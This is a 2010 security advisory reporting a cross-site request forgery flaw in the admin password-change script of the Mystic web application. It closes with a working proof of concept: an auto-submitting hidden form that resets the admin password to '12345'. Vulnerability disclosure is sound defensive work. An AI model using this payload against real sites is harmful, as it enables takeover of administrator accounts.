XSRF (CSRF) in Mystic

[advisory () htbridge ch]

Vulnerability ID: HTB22533
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_mystic.html
Product: Mystic
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/mystic ) 
Vulnerable Version: 0.1.4 and Probably Prior Versions
Vendor Notification: 27 July 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the admin/change_password script to properly verify the source of HTTP 
request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/change_password"; method="post" name="main" >
<input type="hidden" name="user[password]" value="12345" />
<input type="hidden" name="user[password_confirmation]" value="12345" />
<input type="hidden" name="commit" value="Change Password" />
</form>
<script>
document.main.submit();
</script>